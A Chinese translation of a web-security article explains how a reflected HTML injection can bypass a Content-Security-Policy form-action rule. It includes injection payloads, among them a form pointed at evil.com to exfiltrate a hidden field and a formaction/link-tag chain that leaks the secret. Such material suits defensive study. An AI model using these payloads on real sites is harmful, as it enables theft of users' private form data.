利用反射型XSS二次注入繞過CSP form-action限制

louboutinpump55 8年前發布 | 15K 次閱讀 XSS漏洞 前端技術

0x01 簡單介紹

CSP(Content-Security-Policy)是為了緩解XSS而存在的一種策略, 開發者可以設置一些規則來限制頁面可以加載的內容.那文本中所說的form-action又是干啥的呢?用他可以限制form標簽"action"屬性的指向頁面, 這樣可以防止攻擊者通過XSS修改表單的"action"屬性,偷取用戶的一些隱私信息.

0x02 實例分析

上面講的太抽象了, 如果不想看的話可以直接跳過....具體一點, 現在使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的

#!html
//XSS在這里, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>         //小秘密

如果這個站點沒有CSP, 攻擊者可以直接通過XSS修改

#!html
<form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密

當用戶傻傻地進行"正常'操作時,小秘密已經悄然變成攻擊者的秘密了.然后,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的加載并且不允許內聯腳本, 好像安全性高了一點.

攻擊者想了下, 把頁面改成下面這個樣子

#!html
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>

在原本的form之前又加了一個form標簽, 這個新的form標簽沒有閉合,并且直接碰到了老form標簽, 這個時候會發生什么呢?

老form標簽就這樣消失了! 所以攻擊者再次把用戶的小秘密發送到了自己的服務器上, 而且這時本來應該是POST的secret因為老form標簽的消失現在變成了GET發送, 請求變成了下面這樣.

這下管理員郁悶了, 最后索性用CSP加上了form-action來白名單限定form標簽的action指向, 那么這樣是否還會出現問題呢?

一起來回顧一下, 現在有一個不能執行JS的反射型XSS和一個只能往白名單域名(當然沒有攻擊者域名...)指向的form標簽.

原secret.html

#!html
// XSS位置, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>

最后攻擊者的改過的頁面如下

#!html
<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
<input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' >
// XSS, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input type='hidden' name='secret' value='xiao_mi_mi'/>
</form>

這里有幾處tricky的地方, 整個代碼的步驟如下

  1. input標簽的form/formmethod/formaction將老form POST到oo.html的secret變成GET發送到secret.html即當前頁面.

  2. 跳轉后仍處于secret.html因此該頁面的XSS還可以被二次利用注入惡意標簽, 這里又利用第二個input標簽增加GET請求的xss參數, 所以跳轉之后的URL變為

    #!html
    http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' >
    
  3. 此時secret.html再次觸發XSS, 被攻擊者加入下面標簽

    #!html
    <link rel='subresource' >
    

正是最后這個link標簽泄露了本該POST發送的secret, 攻擊者通過利用一個反射型XSS將CSP的form-action繞過.

0x03 最后

CSP能夠從某種程度上限制XSS, 對網站的防護是很有益義的. 不過相比國外經常能夠看到相關的討論,國內CSP的推進和熱度卻是比較不盡人意的, 同時關于CSP也有很多有意思的安全點, 特此翻譯出來以供大家學習和參考.

原文鏈接: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

來自: http://drops.wooyun.org/tips/14686

翻譯:SecurityToolkit

 本文由用戶 louboutinpump55 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!